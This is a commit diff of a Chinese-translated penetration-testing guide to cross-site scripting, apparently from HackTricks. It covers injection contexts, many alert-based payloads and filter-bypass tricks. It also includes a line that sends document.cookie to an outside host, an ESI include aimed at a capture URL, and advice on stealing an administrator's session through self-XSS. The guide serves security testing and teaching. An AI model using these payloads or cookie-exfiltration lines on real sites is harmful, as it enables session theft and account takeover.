Translated ['src/pentesting-web/xss-cross-site-scripting/README.md'] to

This commit is contained in:
Translator 2025-02-04 22:43:12 +00:00
parent 9d75c19f85
commit a267915c8f

View File

@ -3,29 +3,29 @@
## 方法论 ## 方法论
1. 检查 **任何你控制的值** (_参数_、_路径_、_头部_?、_cookies_?) 是否在 HTML 中被 **反射****被 JS 代码使用** 1. 检查 **任何你控制的值** (_参数_、_路径_、_头部_?、_cookies_?) 是否在 HTML 中被 **反射****被 JS 代码使用**
2. **找到上下文**,查看它是如何被反射/使用的。 2. **找到反射/使用的上下文**
3. 如果 **被反射** 3. 如果 **被反射**
1. 检查 **你可以使用哪些符号**,并根据此准备有效载荷: 1. 检查 **你可以使用哪些符号**,并根据此准备有效载荷:
1. 在 **原始 HTML** 中: 1. 在 **原始 HTML** 中:
1. 你能创建新的 HTML 标签吗? 1. 你能创建新的 HTML 标签吗?
2. 你能使用支持 `javascript:` 协议的事件或属性吗? 2. 你能使用支持 `javascript:` 协议的事件或属性吗?
3. 你能绕过保护措施吗? 3. 你能绕过保护措施吗?
4. HTML 内容是否被任何客户端 JS 引擎 (_AngularJS_、_VueJS_、_Mavo_...) 解释,你可以利用 [**客户端模板注入**](../client-side-template-injection-csti.md)。 4. HTML 内容是否被任何客户端 JS 引擎 (_AngularJS_、_VueJS_、_Mavo_...) 解释,你可以利用 [**客户端模板注入**](../client-side-template-injection-csti.md)。
5. 如果你不能创建执行 JS 代码的 HTML 标签,你能利用 [**悬挂标记 - 无脚本 HTML 注入**](../dangling-markup-html-scriptless-injection/index.html) 吗? 5. 如果你不能创建执行 JS 代码的 HTML 标签,你能利用 [**悬挂标记 - 无脚本 HTML 注入**](../dangling-markup-html-scriptless-injection/index.html) 吗?
2. 在 **HTML 标签内** 2. 在 **HTML 标签内**
1. 你能退出到原始 HTML 上下文吗? 1. 你能退出到原始 HTML 上下文吗?
2. 你能创建新的事件/属性来执行 JS 代码吗? 2. 你能创建新的事件/属性来执行 JS 代码吗?
3. 你被困的属性是否支持 JS 执行? 3. 你被困的属性是否支持 JS 执行?
4. 你能绕过保护措施吗? 4. 你能绕过保护措施吗?
3. 在 **JavaScript 代码中** 3. 在 **JavaScript 代码中**
1. 你能逃避 `<script>` 标签吗? 1. 你能逃逸 `<script>` 标签吗?
2. 你能逃避字符串并执行不同的 JS 代码吗? 2. 你能逃逸字符串并执行不同的 JS 代码吗?
3. 你的输入是否在模板字面量 \`\` 中? 3. 你的输入是否在模板字面量 \`\` 中?
4. 你能绕过保护措施吗? 4. 你能绕过保护措施吗?
4. Javascript **函数**被 **执行** 4. 被 **执行的 JavaScript 函数**
1. 你可以指明要执行的函数名称。例如:`?callback=alert(1)` 1. 你可以指明要执行的函数名称。例如: `?callback=alert(1)`
4. 如果 **被使用** 4. 如果 **被使用**
1. 你可以利用 **DOM XSS**,注意你的输入是如何被控制的,以及你的 **受控输入是否被任何接收器使用** 1. 你可以利用 **DOM XSS**,注意你的输入是如何被控制的,以及你的 **受控输入是否被任何接收器使用**
在处理复杂的 XSS 时,你可能会发现了解以下内容很有趣: 在处理复杂的 XSS 时,你可能会发现了解以下内容很有趣:
@ -37,27 +37,27 @@ debugging-client-side-js.md
为了成功利用 XSS你需要找到的第一件事是 **一个由你控制的值在网页中被反射** 为了成功利用 XSS你需要找到的第一件事是 **一个由你控制的值在网页中被反射**
- **中间反射**:如果你发现参数的值甚至路径在网页中被反射,你可以利用 **反射 XSS**。 - **中间反射**:如果你发现一个参数的值甚至路径在网页中被反射,你可以利用 **反射 XSS**。
- **存储并反射**:如果你发现一个由你控制的值被保存在服务器中,并且每次访问页面时都会被反射,你可以利用 **存储 XSS**。 - **存储并反射**:如果你发现一个由你控制的值被保存在服务器中,并且每次访问页面时都会被反射,你可以利用 **存储 XSS**。
- **通过 JS 访问**:如果你发现一个由你控制的值通过 JS 被访问,你可以利用 **DOM XSS** - **通过 JS 访问**:如果你发现一个由你控制的值通过 JS 被访问,你可以利用 **DOM XSS**
## 上下文 ## 上下文
在尝试利用 XSS 时,你需要知道的第一件事是 **你的输入在哪里被反射**。根据上下文,你将能够以不同的方式执行任意 JS 代码。 在尝试利用 XSS 时,你需要知道的第一件事是 **你的输入被反射在哪里**。根据上下文,你将能够以不同的方式执行任意 JS 代码。
### 原始 HTML ### 原始 HTML
如果你的输入在 **原始 HTML** 页面中被 **反射**,你需要利用一些 **HTML 标签** 来执行 JS 代码:`<img , <iframe , <svg , <script` ... 这些只是你可以使用的许多可能的 HTML 标签中的一些。\ 如果你的输入在 **原始 HTML** 页面中被 **反射**,你需要利用一些 **HTML 标签** 来执行 JS 代码:`<img`、`<iframe``<svg``<script` ... 这些只是你可以使用的许多可能的 HTML 标签中的一些。\
此外,请记住 [客户端模板注入](../client-side-template-injection-csti.md)。 此外,请记住 [客户端模板注入](../client-side-template-injection-csti.md)。
### 在 HTML 标签属性内 ### 在 HTML 标签属性内
如果你的输入在标签的属性值中被反射,你可以尝试: 如果你的输入在标签的属性值中被反射,你可以尝试:
1. **从属性和标签中逃**(然后你将处于原始 HTML 中)并创建新的 HTML 标签进行利用:`"><img [...]` 1. **从属性和标签中逃**(然后你将处于原始 HTML 中)并创建新的 HTML 标签进行利用:`"><img [...]`
2. 如果你 **可以从属性中逃脱但不能从标签中逃脱**`>` 被编码或删除),根据标签的不同,你可以 **创建一个事件** 来执行 JS 代码:`" autofocus onfocus=alert(1) x="` 2. 如果你 **可以从属性中逃逸但不能从标签中逃逸**`>` 被编码或删除),根据标签的不同,你可以 **创建一个事件** 来执行 JS 代码:`" autofocus onfocus=alert(1) x="`
3. 如果你 **无法从属性中逃**`"` 被编码或删除),那么根据 **你的值被反射在哪个属性中**,以及 **你是否控制整个值或仅部分值**,你将能够进行利用。例如,如果你控制一个事件如 `onclick=`,你将能够使其在点击时执行任意代码。另一个有趣的 **例子** 是属性 `href`,你可以使用 `javascript:` 协议来执行任意代码:**`href="javascript:alert(1)"`** 3. 如果你 **无法从属性中逃**`"` 被编码或删除),那么根据 **你的值被反射在哪个属性中**,以及 **你是否控制整个值或仅部分值**,你将能够进行利用。例如,如果你控制一个事件如 `onclick=`,你将能够使其在点击时执行任意代码。另一个有趣的 **例子** 是属性 `href`,你可以使用 `javascript:` 协议来执行任意代码:**`href="javascript:alert(1)"`**
4. 如果你的输入在 "**不可利用的标签**" 中被反射,你可以尝试 **`accesskey`** 技巧来利用这个漏洞(你将需要某种社工程来利用这一点):**`" accesskey="x" onclick="alert(1)" x="** 4. 如果你的输入在 "**不可利用的标签**" 中被反射,你可以尝试 **`accesskey`** 技巧来利用这个漏洞(你将需要某种社工程来利用这一点):**`" accesskey="x" onclick="alert(1)" x="**
如果你控制一个类名Angular 执行 XSS 的奇怪例子: 如果你控制一个类名Angular 执行 XSS 的奇怪例子:
```html ```html
@ -98,9 +98,9 @@ js-hoisting.md
![](<../../images/image (711).png>) ![](<../../images/image (711).png>)
如果它是脆弱的,您可能能够**触发一个警报**,只需发送值:**`?callback=alert(1)`**。然而,这些端点通常会**验证内容**,只允许字母、数字、点和下划线(**`[\w\._]`**)。 如果它是脆弱的,您可以通过发送值**`?callback=alert(1)`**来**触发一个警报**。然而,这些端点通常会**验证内容**,只允许字母、数字、点和下划线(**`[\w\._]`**)。
然而,即使有这个限制,仍然可以执行一些操作。这是因为您可以使用这些有效字符**访问 DOM 中的任何元素** 然而,即使有这个限制,仍然可以执行一些操作。这是因为您可以使用这些有效字符**访问 DOM 中的任何元素**
![](<../../images/image (747).png>) ![](<../../images/image (747).png>)
@ -132,7 +132,7 @@ dom-xss.md
### **通用 XSS** ### **通用 XSS**
这种类型的 XSS 可以在**任何地方**找到。它们不仅依赖于对 Web 应用程序的客户端利用,依赖于**任何****上下文**。这种**任意 JavaScript 执行**甚至可以被滥用以获得**RCE**、**读取**客户端和服务器中的**任意****文件**等。\ 这种类型的 XSS 可以在**任何地方**找到。它们不仅依赖于对 Web 应用程序的客户端利用,而是依赖于**任何****上下文**。这种**任意 JavaScript 执行**甚至可以被滥用以获得**RCE**、**读取**客户端和服务器中的**任意****文件**等。\
一些**示例** 一些**示例**
{{#ref}} {{#ref}}
@ -162,7 +162,7 @@ alert(1)
<svg onload=alert('XSS')> <svg onload=alert('XSS')>
``` ```
但是,如果使用了标签/属性的黑白名单,您需要**暴力破解可以创建的标签**。\ 但是,如果使用了标签/属性的黑白名单,您需要**暴力破解可以创建的标签**。\
一旦您**找到了允许的标签**,您需要**暴力破解有效标签内的属性/事件**,以查看如何攻击该上下文。 一旦您**找到了允许的标签**,您需要**暴力破解属性/事件**,以查看如何攻击该上下文。
### 标签/事件暴力破解 ### 标签/事件暴力破解
@ -243,14 +243,14 @@ To check in which characters are decomposed check [here](https://www.compart.com
### Impossible - Dangling Markup ### Impossible - Dangling Markup
如果你认为**创建一个带有执行 JS 代码的属性的 HTML 标签是不可能的**,你应该查[**Dangling Markup**](../dangling-markup-html-scriptless-injection/index.html),因为你可以**利用**这个漏洞**而不**执行**JS**代码。 如果你认为**创建一个带有属性以执行 JS 代码的 HTML 标签是不可能的**,你应该查[**Dangling Markup**](../dangling-markup-html-scriptless-injection/index.html),因为你可以**利用**这个漏洞**而不**执行**JS**代码。
## Injecting inside HTML tag ## Injecting inside HTML tag
### Inside the tag/escaping from attribute value ### Inside the tag/escaping from attribute value
如果你在**HTML 标签内部**,你可以尝试的第一件事是**逃离**这个标签,并使用[上一节](#injecting-inside-raw-html)中提到的一些技术来执行 JS 代码。\ 如果你在**HTML 标签内部**,你可以尝试的第一件事是**逃离**这个标签,并使用[上一节](#injecting-inside-raw-html)中提到的一些技术来执行 JS 代码。\
如果你**无法逃离这个标签**,你可以在标签内部创建新的属性来尝试执行 JS 代码例如使用一些有效载荷_注意在这个例子中使用双引号来逃离属性如果你的输入直接反映在标签内你就不需要它们_ 如果你**无法逃离这个标签**,你可以在标签内部创建新的属性来尝试执行 JS 代码例如使用一些有效载荷_注意在这个例子中使用双引号来逃离属性如果你的输入直接反映在标签内你就不需要它们_
```bash ```bash
" autofocus onfocus=alert(document.domain) x=" " autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t " onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
@ -267,7 +267,7 @@ To check in which characters are decomposed check [here](https://www.compart.com
``` ```
### Within the attribute ### Within the attribute
即使你**无法从属性中逃脱**`"`被编码或删除),根据**你的值反射在哪个属性中****如果你控制所有值或只是部分值**,你能够利用它。**例如**,如果你控制一个事件如`onclick=`,你将能够使其在点击时执行任意代码。\ 即使你**无法从属性中逃脱**`"`被编码或删除),根据**你的值反射在哪个属性中****如果你控制所有值或只是部分值**,你仍然能够利用它。**例如**,如果你控制一个事件如`onclick=`,你将能够使其在点击时执行任意代码。\
另一个有趣的**例子**是属性`href`,你可以使用`javascript:`协议来执行任意代码:**`href="javascript:alert(1)"`** 另一个有趣的**例子**是属性`href`,你可以使用`javascript:`协议来执行任意代码:**`href="javascript:alert(1)"`**
**通过HTML编码/URL编码绕过事件** **通过HTML编码/URL编码绕过事件**
@ -408,7 +408,7 @@ Android: %09 %20 %28 %2C %3B
<button popvertarget="x">Click me</button> <button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" /> <input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
``` ```
**meta标签**中 **meta 标签**
```html ```html
<!-- Injection inside meta attribute--> <!-- Injection inside meta attribute-->
<meta <meta
@ -430,7 +430,7 @@ onbeforetoggle="alert(2)" />
### 黑名单绕过 ### 黑名单绕过
本节中已经揭示了几种使用不同编码的技巧。请**返回以了解您可以在哪里使用** 本节中已经揭示了几种使用不同编码的技巧。请**返回学习您可以使用的内容**
- **HTML编码HTML标签** - **HTML编码HTML标签**
- **Unicode编码可以是有效的JS代码** `\u0061lert(1)` - **Unicode编码可以是有效的JS代码** `\u0061lert(1)`
@ -448,7 +448,7 @@ onbeforetoggle="alert(2)" />
### CSS小工具 ### CSS小工具
如果您在网的**非常小的部分**发现了**XSS**并且需要某种交互可能是页脚中的一个小链接带有onmouseover元素您可以尝试**修改该元素占据的空间**以最大化触发链接的概率。 如果您在网的**非常小的部分**发现了**XSS**并且需要某种交互可能是页脚中的一个小链接带有onmouseover元素您可以尝试**修改该元素占据的空间**以最大化触发链接的概率。
例如,您可以在元素中添加一些样式,如:`position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5` 例如,您可以在元素中添加一些样式,如:`position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
@ -468,7 +468,7 @@ onbeforetoggle="alert(2)" />
## 在JavaScript代码中注入 ## 在JavaScript代码中注入
在这种情况下,您的**输入**将**反映在`.js`文件的JS代码**中,或在`<script>...</script>`标签之间或在可以执行JS代码的HTML事件之间或在接受`javascript:`协议的属性之间。 在这些情况下,您的**输入**将**反映在.js文件的JS代码**中,或在`<script>...</script>`标签之间或在可以执行JS代码的HTML事件之间或在接受`javascript:`协议的属性之间。
### 转义\<script>标签 ### 转义\<script>标签
@ -549,7 +549,7 @@ eval(8680439..toString(30))(983801..toString(36))
"\t" //tab "\t" //tab
// Any other char escaped is just itself // Any other char escaped is just itself
``` ```
**在JS代码中的空格替** **在JS代码中的空格替**
```javascript ```javascript
<TAB> <TAB>
/**/ /**/
@ -624,7 +624,7 @@ console.log(arguments);
btt`${'arg1'}${'arg2'}${'arg3'}` btt`${'arg1'}${'arg2'}${'arg3'}`
//It's possible to construct a function and call it //It's possible to construct a function and call it
Function`x${'alert(1337)'}x``` Function`x${'alert(1337)'}x`
// .replace can use regexes and call a function if something is found // .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a," "a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
@ -672,6 +672,7 @@ try{throw onerror=alert}catch{throw 1}
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval} 'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval} 'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol. // The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
``` ```
- [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md) - [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md)
- [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix) - [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix)
@ -738,14 +739,14 @@ top[8680439..toString(30)](1)
``` ```
## **DOM 漏洞** ## **DOM 漏洞**
**JS 代码** 使用 **由攻击者控制的不安全数据**,如 `location.href`。攻击者可以利用这一点执行任意的 JS 代码。\ **JS 代码** 使用 **由攻击者控制的不安全数据**,如 `location.href`。攻击者可以利用这一点执行任意的 JS 代码。\
**由于对** [**DOM 漏洞的解释扩展,已移至此页面**](dom-xss.md)**:** **由于对** [**DOM 漏洞的解释扩展此页面**](dom-xss.md)**:**
{{#ref}} {{#ref}}
dom-xss.md dom-xss.md
{{#endref}} {{#endref}}
里你会找到关于 **DOM 漏洞是什么、如何引发以及如何利用它们的详细解释**。\ 里你会找到关于 **DOM 漏洞是什么、如何引发它们以及如何利用它们的详细解释**。\
此外,不要忘记在 **提到的帖子末尾** 你可以找到关于 [**DOM Clobbering 攻击**](dom-xss.md#dom-clobbering) 的解释。 此外,不要忘记在 **提到的帖子末尾** 你可以找到关于 [**DOM Clobbering 攻击**](dom-xss.md#dom-clobbering) 的解释。
### 升级 Self-XSS ### 升级 Self-XSS
@ -758,15 +759,15 @@ dom-xss.md
../hacking-with-cookies/cookie-tossing.md ../hacking-with-cookies/cookie-tossing.md
{{#endref}} {{#endref}}
你可以在 [**这篇博客文章**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html) 中找到对这一技术的极佳利用 你可以在 [**这篇博客文章**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html) 中找到这个技术的一个很好的滥用示例
### 将你的会话发送给管理员 ### 将你的会话发送给管理员
也许用户可以与管理员共享他的个人资料,如果自我 XSS 在用户的个人资料中,而管理员访问了该资料,他将触发该漏洞。 也许用户可以与管理员共享他的个人资料,如果自我 XSS 在用户的个人资料中,而管理员访问了它,他将触发这个漏洞。
### 会话镜像 ### 会话镜像
如果你发现一些自我 XSS并且网页有 **管理员的会话镜像**,例如允许客户请求帮助,为了帮助你,管理员将看到你在自己的会话中看到的内容,但从他的会话中。 如果你发现一些自我 XSS并且网页有 **管理员的会话镜像**,例如允许客户请求帮助,为了帮助你,管理员将看到你在的会话中看到的内容,但从他的会话中。
你可以让 **管理员触发你的自我 XSS** 并窃取他的 cookies/会话。 你可以让 **管理员触发你的自我 XSS** 并窃取他的 cookies/会话。
@ -774,7 +775,7 @@ dom-xss.md
### 规范化 Unicode ### 规范化 Unicode
你可以检查 **反射值** 是否在服务器(或客户端)中 **进行 Unicode 规范化**,并利用此功能绕过保护。 [**在这里找到一个**](../unicode-injection/index.html#xss-cross-site-scripting)。 你可以检查 **反射值** 是否在服务器(或客户端)中 **进行 Unicode 规范化**,并利用此功能绕过保护。 [**在这里找到一个例**](../unicode-injection/index.html#xss-cross-site-scripting)。
### PHP FILTER_VALIDATE_EMAIL 标志绕过 ### PHP FILTER_VALIDATE_EMAIL 标志绕过
```javascript ```javascript
@ -823,24 +824,24 @@ contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2) window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3) document['default'+'View'][`\u0061lert`](3)
``` ```
### XSS with header injection in a 302 response ### XSS与302响应中的头注入
如果你发现可以在 **302 重定向响应中注入头**,你可以尝试 **让浏览器执行任意 JavaScript**。这 **并不简单**,因为现代浏览器在 HTTP 响应状态码为 302 时不会解释 HTTP 响应体,因此仅仅一个跨站脚本有效载荷是无用的。 如果你发现可以在**302重定向响应中注入头**,你可以尝试**让浏览器执行任意JavaScript**。这**并不简单**因为现代浏览器在HTTP响应状态码为302时不会解释HTTP响应体因此仅仅一个跨站脚本有效载荷是无用的。
[**这份报告**](https://www.gremwell.com/firefox-xss-302) [**这份报告**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) 中,你可以阅读如何在 Location 头部测试多个协议,并查看其中是否有任何协议允许浏览器检查并执行体内的 XSS 有效载荷。\ 在[**这份报告**](https://www.gremwell.com/firefox-xss-302)和[**这份报告**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/)你可以阅读如何在Location头中测试几种协议并查看其中是否有任何协议允许浏览器检查并执行体内的XSS有效载荷。\
已知的过去协议: `mailto://` `//x:1/` `ws://` `wss://` _空 Location 头部_ `resource://` 已知的过去协议:`mailto://``//x:1/``ws://``wss://`、_空Location头_、`resource://`
### 仅限字母、数字和点 ### 仅限字母、数字和点
如果你能够指示 JavaScript 将要 **执行****回调** 限制在这些字符内。 [**阅读这篇文章的这一部分**](#javascript-function) 以了解如何利用这种行为。 如果你能够指示javascript将要**执行**的**回调**仅限于这些字符。[**阅读这篇文章的这一部分**](#javascript-function)以了解如何利用这种行为。
### 有效的 `<script>` 内容类型以进行 XSS ### 有效的`<script>`内容类型以进行XSS
(来自 [**这里**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/))如果你尝试加载一个 **内容类型** `application/octet-stream` 的脚本Chrome 将抛出以下错误: (来自[**这里**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/))如果你尝试加载一个**内容类型**为`application/octet-stream`的脚本Chrome将抛出以下错误
> 拒绝从 [https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') 执行脚本,因为其 MIME 类型 (application/octet-stream) 不是可执行的,并且启用了严格的 MIME 类型检查。 > 拒绝从‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx')执行脚本因为其MIME类型application/octet-stream不可执行并且启用了严格的MIME类型检查。
唯一支持 Chrome 运行 **加载脚本** **Content-Type** [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc) 中常量 **`kSupportedJavascriptTypes`** 内的类型 唯一支持Chrome运行**加载脚本**的**Content-Type**是[https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)中常量**`kSupportedJavascriptTypes`**。
```c ```c
const char* const kSupportedJavascriptTypes[] = { const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript", "application/ecmascript",
@ -868,7 +869,7 @@ const char* const kSupportedJavascriptTypes[] = {
```html ```html
<script type="???"></script> <script type="???"></script>
``` ```
- **module** (默认,无需解释) - **模块** (默认,无需解释)
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles 是一个功能您可以将一堆数据HTML、CSS、JS…打包到一个 **`.wbn`** 文件中。 - [**webbundle**](https://web.dev/web-bundles/): Web Bundles 是一个功能您可以将一堆数据HTML、CSS、JS…打包到一个 **`.wbn`** 文件中。
```html ```html
<script type="webbundle"> <script type="webbundle">
@ -923,7 +924,7 @@ import { partition } from "lodash"
- application/xml - application/xml
- text/xml - text/xml
- image/svg+xml - image/svg+xml
- text/plain (?? 不在列表中,但我我在 CTF 中见过这个) - text/plain (?? 不在列表中,但我认为我在 CTF 中见过这个)
- application/rss+xml (关闭) - application/rss+xml (关闭)
- application/atom+xml (关闭) - application/atom+xml (关闭)
@ -931,7 +932,7 @@ import { partition } from "lodash"
### xml Content Type ### xml Content Type
如果页面返回的是 text/xml 内容类型,可以指示一个命名空间并执行任意 JS 如果页面返回 text/xml 内容类型,可以指示一个命名空间并执行任意 JS
```xml ```xml
<xml> <xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text> <text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
@ -984,7 +985,7 @@ constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in // For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE // https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
``` ```
如果在执行不受信任的代码之前**一切都是未定义的**(如在[**这篇文章**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)中所述),则可以“凭空”生成有用的对象,以滥用任意不受信任代码的执行: 如果在执行不可信代码之前**一切都是未定义的**(如在[**这篇文章**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)中所述),则可以“凭空”生成有用的对象,以滥用任意不可信代码的执行:
- 使用 import() - 使用 import()
```javascript ```javascript
@ -993,7 +994,7 @@ import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
``` ```
- 间接访问 `require` - 间接访问 `require`
[根据这个](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) 模块被 Node.js 包裹在一个函数中,如下所示: [根据这个](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) 模块在 Node.js 中被包装在一个函数内,如下所示:
```javascript ```javascript
;(function (exports, require, module, __filename, __dirname) { ;(function (exports, require, module, __filename, __dirname) {
// our actual module code // our actual module code
@ -1267,7 +1268,7 @@ steal-info-js.md
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script> <script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
``` ```
> [!NOTE] > [!NOTE]
> 如果在 cookie 中设置了 HTTPOnly 标志,您 **将无法通过 JavaScript 访问 cookies**。但在这里,如果您足够幸运,您可以 [找到一些绕过此保护的方法](../hacking-with-cookies/index.html#httponly)。 > 如果在 cookie 中设置了 HTTPOnly 标志,您 **将无法通过 JavaScript 访问 cookies**。但如果您足够幸运,这里有 [一些绕过此保护的方法](../hacking-with-cookies/index.html#httponly)。
### 偷取页面内容 ### 偷取页面内容
```javascript ```javascript
@ -1508,23 +1509,23 @@ xss-in-markdown.md
### XSS 到 SSRF ### XSS 到 SSRF
在一个 **使用缓存的站点** 上获得了 XSS尝试通过边缘侧包含注入将其 **升级到 SSRF**,使用这个有效载荷: 在一个 **使用缓存的站点** 上获得了 XSS尝试通过边缘侧包含注入将其 **升级到 SSRF**,使用以下有效载荷:
```python ```python
<esi:include src="http://yoursite.com/capture" /> <esi:include src="http://yoursite.com/capture" />
``` ```
利用它来绕过 cookie 限制、XSS 过滤器等更多!\ 利用它来绕过 cookie 限制、XSS 过滤器等更多内容\
有关此技术的更多信息,请查看:[**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)。 有关此技术的更多信息,请查看:[**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)。
### 动态创建 PDF 中的 XSS ### 动态创建 PDF 中的 XSS
如果网页使用用户控制的输入创建 PDF您可以尝试 **欺骗创建 PDF 的机器人**,使其 **执行任意 JS 代码**。\ 如果网页使用用户控制的输入创建 PDF您可以尝试 **欺骗创建 PDF 的机器人**,使其 **执行任意 JS 代码**。\
因此,如果 **PDF 创建机器人发现**某种 **HTML** **标签**,它将会 **解释**这些标签,您可以 **利用**这种行为导致 **服务器 XSS**。 因此,如果 **PDF 创建机器人发现**某种 **HTML** **标签**,它将会 **解释** 这些标签,您可以 **利用** 这种行为导致 **服务器 XSS**。
{{#ref}} {{#ref}}
server-side-xss-dynamic-pdf.md server-side-xss-dynamic-pdf.md
{{#endref}} {{#endref}}
如果您无法注入 HTML 标签,尝试 **注入 PDF 数据**可能是值得的: 如果您无法注入 HTML 标签,尝试 **注入 PDF 数据** 可能是值得的:
{{#ref}} {{#ref}}
pdf-injection.md pdf-injection.md
@ -1536,7 +1537,7 @@ AMP 旨在加速移动设备上的网页性能,结合了 HTML 标签和 JavaSc
[**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) 格式将特定的 AMP 组件扩展到电子邮件中,使收件人能够直接在电子邮件中与内容互动。 [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) 格式将特定的 AMP 组件扩展到电子邮件中,使收件人能够直接在电子邮件中与内容互动。
示例 [**在 Gmail 中的 Amp4Email XSS 写作**](https://adico.me/post/xss-in-gmail-s-amp4email)。 示例 [**在 Gmail 中的 Amp4Email XSS 写作**](https://adico.me/post/xss-in-gmail-s-amp4email)。
### XSS 上传文件 (svg) ### XSS 上传文件 (svg)